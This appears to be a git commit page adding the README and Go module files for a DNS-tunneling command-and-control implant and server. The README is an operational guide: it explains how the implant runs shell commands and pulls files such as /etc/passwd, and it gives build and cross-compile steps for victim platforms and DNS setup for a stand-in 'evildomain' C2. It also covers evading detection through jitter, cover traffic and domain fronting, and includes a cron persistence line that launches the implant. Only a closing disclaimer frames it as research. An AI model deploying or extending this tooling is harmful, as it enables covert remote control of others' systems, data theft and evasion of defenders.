forked from ek0mssavi0r/noPROXY_c2s
Upload files to "c2s_dns_tunnel"
This commit is contained in:
parent
081722e90e
commit
e2dcfedfb9
405
c2s_dns_tunnel/README.md
Normal file
405
c2s_dns_tunnel/README.md
Normal file
|
|
@ -0,0 +1,405 @@
|
||||||
|
# DNS Tunneling C2
|
||||||
|
|
||||||
|
A complete command-and-control implementation using DNS tunneling. Commands and
|
||||||
|
data are encoded into DNS queries and TXT record responses — the cockroach
|
||||||
|
protocol that survives almost any network.
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────┐ DNS query (subdomain labels) ┌──────────┐
|
||||||
|
│ Implant ├────────────────────────────────────▶│ C2 DNS │
|
||||||
|
│(client) │◀────────────────────────────────────│ Server │
|
||||||
|
└─────────┘ TXT record response └──────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
DNS traffic on port 53 is almost never blocked or deeply inspected. This
|
||||||
|
implementation speaks enough DNS protocol to work with any standard DNS
|
||||||
|
infrastructure — or you can talk directly to the C2 server over UDP.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
There are two components:
|
||||||
|
|
||||||
|
### `cmd/server/main.go` — The C2 DNS Server
|
||||||
|
|
||||||
|
- UDP listener on port 5353 (configurable; no root needed)
|
||||||
|
- Parses incoming DNS queries using
|
||||||
|
[github.com/miekg/dns](https://github.com/miekg/dns)
|
||||||
|
- Extracts implant ID, status, and output from query subdomain labels
|
||||||
|
- Stores pending commands per implant
|
||||||
|
- Returns commands as TXT record payload
|
||||||
|
- Interactive operator console
|
||||||
|
|
||||||
|
### `cmd/client/main.go` — The Implant
|
||||||
|
|
||||||
|
- Beacons via DNS queries at configurable intervals
|
||||||
|
- Encodes status and command output in query subdomain labels
|
||||||
|
- Receives commands from TXT record responses
|
||||||
|
- Executes shell commands and sends output back
|
||||||
|
- Supports file upload/download
|
||||||
|
- Handles chunked data for large payloads
|
||||||
|
- Works with system DNS resolver or direct UDP
|
||||||
|
|
||||||
|
## Protocol Format
|
||||||
|
|
||||||
|
### Implant → Server (DNS Query)
|
||||||
|
|
||||||
|
```
|
||||||
|
<status>.<implant-id>.<base64-output>.c2.<domain>
|
||||||
|
```
|
||||||
|
|
||||||
|
| Component | Description |
|
||||||
|
|-----------------|--------------------------------------------------|
|
||||||
|
| `status` | `ready` (no output), `output` (has output) |
|
||||||
|
| `implant-id` | Unique hex identifier (16 hex chars) |
|
||||||
|
| `base64-output` | Base64-encoded command output (empty if none) |
|
||||||
|
| `c2` | Fixed routing label |
|
||||||
|
| `domain` | Your C2 domain (e.g., `c2.evildomain.com`) |
|
||||||
|
|
||||||
|
**Large Output (chunked):**
|
||||||
|
|
||||||
|
```
|
||||||
|
<status>.<implant-id>.<seq>.<total>.<base64-chunk>.c2.<domain>
|
||||||
|
```
|
||||||
|
|
||||||
|
| Component | Description |
|
||||||
|
|-----------|------------------------------|
|
||||||
|
| `seq` | Chunk sequence number (1-N) |
|
||||||
|
| `total` | Total number of chunks |
|
||||||
|
|
||||||
|
### Server → Implant (TXT Record Response)
|
||||||
|
|
||||||
|
The server returns a TXT record containing a base64-encoded command:
|
||||||
|
|
||||||
|
```
|
||||||
|
<base64-command>
|
||||||
|
```
|
||||||
|
|
||||||
|
For chunked commands:
|
||||||
|
|
||||||
|
```
|
||||||
|
<base64-chunk>.<seq>.<total>
|
||||||
|
```
|
||||||
|
|
||||||
|
An empty TXT record means no pending command.
|
||||||
|
|
||||||
|
## Special Commands
|
||||||
|
|
||||||
|
The implant recognizes these built-in commands (not executed as shell commands):
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|-------------------------------------|------------------------------------------|
|
||||||
|
| `__INTERVAL__:<seconds>` | Change beacon interval |
|
||||||
|
| `__PING__` | Responds with `PONG` |
|
||||||
|
| `__SLEEP__:<duration>` | Sleep for a Go duration (e.g. `10s`) |
|
||||||
|
| `__UPLOAD_START__:<path>:<size>` | Start file upload (init) |
|
||||||
|
| `__UPLOAD_CHUNK__:<seq>:<tot>:<b64>`| File upload data chunk |
|
||||||
|
| `__UPLOAD_END__:<path>` | Finalize file upload and write to disk |
|
||||||
|
| `__DOWNLOAD__:<path>` | Read file and return contents |
|
||||||
|
|
||||||
|
## Chunking Details
|
||||||
|
|
||||||
|
DNS over UDP has a 512-byte limit without EDNS0, and 4096 bytes with EDNS0.
|
||||||
|
This implementation:
|
||||||
|
|
||||||
|
- Uses EDNS0 to support responses up to 4096 bytes
|
||||||
|
- Chunks base64 payloads at **400 bytes per label** (well under 512 to leave
|
||||||
|
room for DNS headers, question section, and other labels)
|
||||||
|
- Sends chunked data over multiple DNS queries/responses
|
||||||
|
- Reassembles chunks server-side and client-side
|
||||||
|
|
||||||
|
### Upload Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Server Implant
|
||||||
|
│ __UPLOAD_START__:/tmp/file:12345 │
|
||||||
|
├─────────────────────────────────────▶│ Init (creates buffer)
|
||||||
|
│ __UPLOAD_CHUNK__:1:3:YmFzZTY0... │
|
||||||
|
├─────────────────────────────────────▶│ Chunk 1/3
|
||||||
|
│ __UPLOAD_CHUNK__:2:3:ZGF0YQo=... │
|
||||||
|
├─────────────────────────────────────▶│ Chunk 2/3
|
||||||
|
│ __UPLOAD_CHUNK__:3:3:LnNvbWU=... │
|
||||||
|
├─────────────────────────────────────▶│ Chunk 3/3
|
||||||
|
│ __UPLOAD_END__:/tmp/file │
|
||||||
|
├─────────────────────────────────────▶│ Write to disk
|
||||||
|
│ │
|
||||||
|
```
|
||||||
|
|
||||||
|
### Download Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Server Implant
|
||||||
|
│ __DOWNLOAD__:/etc/passwd │
|
||||||
|
├─────────────────────────────────────▶│ Read file
|
||||||
|
│ DOWNLOAD_DATA:/etc/passwd:1234:... │
|
||||||
|
◀─────────────────────────────────────┤ (in next beacon)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Build Instructions
|
||||||
|
|
||||||
|
### Prerequisites
|
||||||
|
|
||||||
|
- Go 1.21+ (tested with Go 1.26)
|
||||||
|
- `github.com/miekg/dns` (DNS protocol library)
|
||||||
|
|
||||||
|
### Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clone or navigate to the project
|
||||||
|
cd c2-dns-tunnel
|
||||||
|
|
||||||
|
# Download dependencies
|
||||||
|
go mod tidy
|
||||||
|
|
||||||
|
# Build the server
|
||||||
|
go build -o bin/c2-server ./cmd/server
|
||||||
|
|
||||||
|
# Build the client (implant)
|
||||||
|
go build -o bin/c2-client ./cmd/client
|
||||||
|
|
||||||
|
# Cross-compile for different targets
|
||||||
|
GOOS=windows GOARCH=amd64 go build -o bin/c2-client.exe ./cmd/client
|
||||||
|
GOOS=linux GOARCH=arm64 go build -o bin/c2-client-arm64 ./cmd/client
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o bin/c2-client-darwin ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
### Quick Start (Local Testing)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Terminal 1: Start the C2 server on port 5353
|
||||||
|
./bin/c2-server -listen :5353 -domain c2.evildomain.com
|
||||||
|
|
||||||
|
# Terminal 2: Start the implant in direct mode
|
||||||
|
./bin/c2-client -server 127.0.0.1 -direct -id test001 -interval 5
|
||||||
|
|
||||||
|
# Or use the system resolver (if running on a real network)
|
||||||
|
./bin/c2-client -id test001 -interval 30
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Setup
|
||||||
|
|
||||||
|
### Running on Privileged Port 53
|
||||||
|
|
||||||
|
The server runs on port 5353 by default so it doesn't need root. To redirect
|
||||||
|
port 53 to 5353:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Redirect external traffic on port 53 to port 5353
|
||||||
|
sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353
|
||||||
|
|
||||||
|
# Also redirect local traffic (for local testing)
|
||||||
|
sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-port 5353
|
||||||
|
|
||||||
|
# Make persistent (on Debian/Ubuntu with iptables-persistent)
|
||||||
|
sudo apt-get install iptables-persistent
|
||||||
|
sudo netfilter-persistent save
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, run directly on port 53 with root:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo ./bin/c2-server -listen :53 -domain c2.evildomain.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### DNS Configuration
|
||||||
|
|
||||||
|
For the implant to resolve DNS queries through your C2 server on the internet:
|
||||||
|
|
||||||
|
1. **Register a domain** (e.g., `evildomain.com`)
|
||||||
|
2. **Create an NS record** pointing to your C2 server:
|
||||||
|
```
|
||||||
|
c2.evildomain.com. IN NS ns1.your-server.com.
|
||||||
|
```
|
||||||
|
3. **Create a glue record** (A record for the nameserver):
|
||||||
|
```
|
||||||
|
ns1.your-server.com. IN A <YOUR_SERVER_IP>
|
||||||
|
```
|
||||||
|
4. **Ensure port 53 is reachable** — your server must accept UDP traffic on
|
||||||
|
port 53 from the internet
|
||||||
|
|
||||||
|
### Testing DNS Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Test that DNS resolution works for your C2 domain
|
||||||
|
dig TXT anything.c2.evildomain.com @YOUR_SERVER_IP
|
||||||
|
|
||||||
|
# Expected: returns empty TXT record (no pending commands)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Flags
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage: c2-server [-listen :5353] [-domain c2.evildomain.com]
|
||||||
|
|
||||||
|
Environment variables:
|
||||||
|
C2_LISTEN — Listen address (default :5353)
|
||||||
|
C2_DOMAIN — C2 domain (default c2.evildomain.com)
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
-listen Listen address (e.g., ":5353" or ":53")
|
||||||
|
-domain C2 domain (e.g., "c2.evildomain.com")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Client Flags
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage: c2-client [options]
|
||||||
|
|
||||||
|
Environment variables:
|
||||||
|
C2_SERVER — C2 server IP
|
||||||
|
C2_DOMAIN — C2 domain
|
||||||
|
C2_IMPLANT_ID — Implant ID (auto if empty)
|
||||||
|
C2_INTERVAL - Beacon interval in seconds
|
||||||
|
C2_DIRECT — Use direct UDP mode (1 or true)
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
-server C2 DNS server IP (for direct mode)
|
||||||
|
-domain C2 domain (default: c2.evildomain.com)
|
||||||
|
-id Implant ID (auto-generated if empty)
|
||||||
|
-interval Query interval in seconds (default: 30)
|
||||||
|
-direct Send UDP directly to C2 server
|
||||||
|
-resolver Use system DNS resolver
|
||||||
|
-config Path to config file (JSON)
|
||||||
|
-oneshot Run one query and exit
|
||||||
|
```
|
||||||
|
|
||||||
|
## Operator Console
|
||||||
|
|
||||||
|
When you start the server, an interactive console opens:
|
||||||
|
|
||||||
|
```
|
||||||
|
╔══════════════════════════════════════════════╗
|
||||||
|
║ DNS Tunneling C2 — Operator Console ║
|
||||||
|
╚══════════════════════════════════════════════╝
|
||||||
|
|
||||||
|
Available Commands:
|
||||||
|
help, h, ? — Show help
|
||||||
|
list, ls — List connected implants
|
||||||
|
use <id> — Select an implant
|
||||||
|
back — Deselect current implant
|
||||||
|
info — Show selected implant info
|
||||||
|
exec <cmd> — Execute a command on selected implant
|
||||||
|
shell — Interactive one-shot shell mode
|
||||||
|
interval <sec> — Set query interval for selected implant
|
||||||
|
upload <local> <remote> — Upload file to implant (chunked)
|
||||||
|
download <remote> — Download file from implant
|
||||||
|
output — Show pending output from selected implant
|
||||||
|
clear, cls — Clear screen
|
||||||
|
exit, q — Quit
|
||||||
|
```
|
||||||
|
|
||||||
|
### Usage Example
|
||||||
|
|
||||||
|
```
|
||||||
|
C2> ls
|
||||||
|
IMPLANT ID FIRST SEEN LAST SEEN OUTPUT
|
||||||
|
──────────────────────────────────────────────────────────────────────────────
|
||||||
|
a1b2c3d4e5f6g7h8 22:01:15 May11 22:01:15 May11
|
||||||
|
|
||||||
|
C2> use a1b2c3d4e5f6g7h8
|
||||||
|
Selected implant: a1b2c3d4e5f6g7h8
|
||||||
|
|
||||||
|
C2[a1b2c3d4e5f6g7h8]> exec whoami
|
||||||
|
Queued command for a1b2c3d4e5f6g7h8: whoami
|
||||||
|
|
||||||
|
C2[a1b2c3d4e5f6g7h8]> exec uname -a
|
||||||
|
Queued command for a1b2c3d4e5f6g7h8: uname -a
|
||||||
|
|
||||||
|
C2[a1b2c3d4e5f6g7h8]> output
|
||||||
|
=== Output for a1b2c3d4e5f6g7h8 ===
|
||||||
|
root
|
||||||
|
Linux target 6.1.0 ... x86_64 GNU/Linux
|
||||||
|
======================
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
### Detection Vectors
|
||||||
|
|
||||||
|
DNS tunneling is detectable. Here's what defenders look for:
|
||||||
|
|
||||||
|
1. **Abnormal query volume** — A real client doesn't make DNS queries every
|
||||||
|
5-30 seconds for a single domain
|
||||||
|
2. **Unusual record types** — TXT queries to subdomains that look like
|
||||||
|
base64 text
|
||||||
|
3. **Abnormal domain entropy** — Subdomain labels like
|
||||||
|
`aGVsbG8=.a1b2c3d4e5f6g7h8.c2.evildomain.com` have high entropy (random
|
||||||
|
characters, base64) compared to normal DNS traffic
|
||||||
|
4. **Unusual packet sizes** — DNS responses containing large TXT records with
|
||||||
|
base64 data
|
||||||
|
5. **Volume anomalies** — Large data transfers generate lots of DNS queries
|
||||||
|
6. **Unusual TLDs** — Uncommon or suspicious domains
|
||||||
|
|
||||||
|
### Detection Avoidance
|
||||||
|
|
||||||
|
1. **Query rate**: Use longer intervals (60-300 seconds) for stealth
|
||||||
|
2. **Padding**: Add random subdomains or noise queries to blend in:
|
||||||
|
```
|
||||||
|
# Add padding labels to queries (future enhancement)
|
||||||
|
random-label.c2.evildomain.com
|
||||||
|
random-label2.c2.evildomain.com
|
||||||
|
```
|
||||||
|
3. **Cover traffic**: Generate legitimate-looking DNS queries alongside C2
|
||||||
|
traffic (lookups to google.com, cloudflare.com, etc.)
|
||||||
|
4. **Use common TLDs**: Register under `.com`, `.net`, or `.org` — avoid
|
||||||
|
suspicious TLDs
|
||||||
|
5. **Domain fronting via DNS**: Point your NS record to a CDN or use a
|
||||||
|
legitimate-looking domain
|
||||||
|
6. **Jitter**: Add random delay (+/- 30% of interval) to avoid predictable
|
||||||
|
beacon patterns
|
||||||
|
7. **Burst mode**: Accumulate output and send in bursts rather than every
|
||||||
|
query cycle
|
||||||
|
|
||||||
|
### What Synthient Detects
|
||||||
|
|
||||||
|
Synthient and similar DNS security tools detect tunneling through:
|
||||||
|
|
||||||
|
- **Entropy analysis** — base64 labels have high character entropy
|
||||||
|
- **Statistical patterns** — uniform query timing vs. human/bot traffic
|
||||||
|
- **Domain graph analysis** — unusual subdomain structures
|
||||||
|
- **Response size anomalies** — oversized TXT records
|
||||||
|
- **Fingerprinting** — known C2 frameworks and tunneling tools
|
||||||
|
|
||||||
|
To minimize risk: use low query rates, add jitter, pad with noise data, and
|
||||||
|
consider HTTP/S-based fallback when DNS tunneling is detected.
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
|
||||||
|
The implant can persist via:
|
||||||
|
|
||||||
|
- **Linux**: cron jobs, systemd timers, init scripts
|
||||||
|
- **Windows**: scheduled tasks, registry Run keys, service installation
|
||||||
|
- **macOS**: launchd plists
|
||||||
|
|
||||||
|
Example cron (1-minute interval):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
* * * * * /path/to/c2-client -id persistent -interval 60 -direct -server YOUR_SERVER_IP 2>/dev/null &
|
||||||
|
```
|
||||||
|
|
||||||
|
## Config File
|
||||||
|
|
||||||
|
The implant can use a JSON config file:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"server": "192.168.1.100",
|
||||||
|
"domain": "c2.evildomain.com",
|
||||||
|
"implantId": "my-persistent-id",
|
||||||
|
"interval": 60,
|
||||||
|
"directMode": true,
|
||||||
|
"useResolver": false
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./c2-client -config implant-config.json
|
||||||
|
```
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
This is a demonstration project for cybersecurity research and education.
|
||||||
|
|
||||||
|
**Use responsibly and only on systems you own or have explicit permission to
|
||||||
|
test.**
|
||||||
13
c2s_dns_tunnel/go.mod
Normal file
13
c2s_dns_tunnel/go.mod
Normal file
|
|
@ -0,0 +1,13 @@
|
||||||
|
module github.com/churchofmalware/c2-dns-tunnel
|
||||||
|
|
||||||
|
go 1.26
|
||||||
|
|
||||||
|
require github.com/miekg/dns v1.1.64
|
||||||
|
|
||||||
|
require (
|
||||||
|
golang.org/x/mod v0.24.0 // indirect
|
||||||
|
golang.org/x/net v0.37.0 // indirect
|
||||||
|
golang.org/x/sync v0.12.0 // indirect
|
||||||
|
golang.org/x/sys v0.31.0 // indirect
|
||||||
|
golang.org/x/tools v0.31.0 // indirect
|
||||||
|
)
|
||||||
14
c2s_dns_tunnel/go.sum
Normal file
14
c2s_dns_tunnel/go.sum
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||||
|
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||||
|
github.com/miekg/dns v1.1.64 h1:wuZgD9wwCE6XMT05UU/mlSko71eRSXEAm2EbjQXLKnQ=
|
||||||
|
github.com/miekg/dns v1.1.64/go.mod h1:Dzw9769uoKVaLuODMDZz9M6ynFU6Em65csPuoi8G0ck=
|
||||||
|
golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU=
|
||||||
|
golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
|
||||||
|
golang.org/x/net v0.37.0 h1:1zLorHbz+LYj7MQlSf1+2tPIIgibq2eL5xkrGk6f+2c=
|
||||||
|
golang.org/x/net v0.37.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8=
|
||||||
|
golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw=
|
||||||
|
golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
|
||||||
|
golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik=
|
||||||
|
golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||||
|
golang.org/x/tools v0.31.0 h1:0EedkvKDbh+qistFTd0Bcwe/YLh4vHwWEkiI0toFIBU=
|
||||||
|
golang.org/x/tools v0.31.0/go.mod h1:naFTU+Cev749tSJRXJlna0T3WxKvb1kWEx15xA4SdmQ=
|
||||||
Loading…
Reference in New Issue
Block a user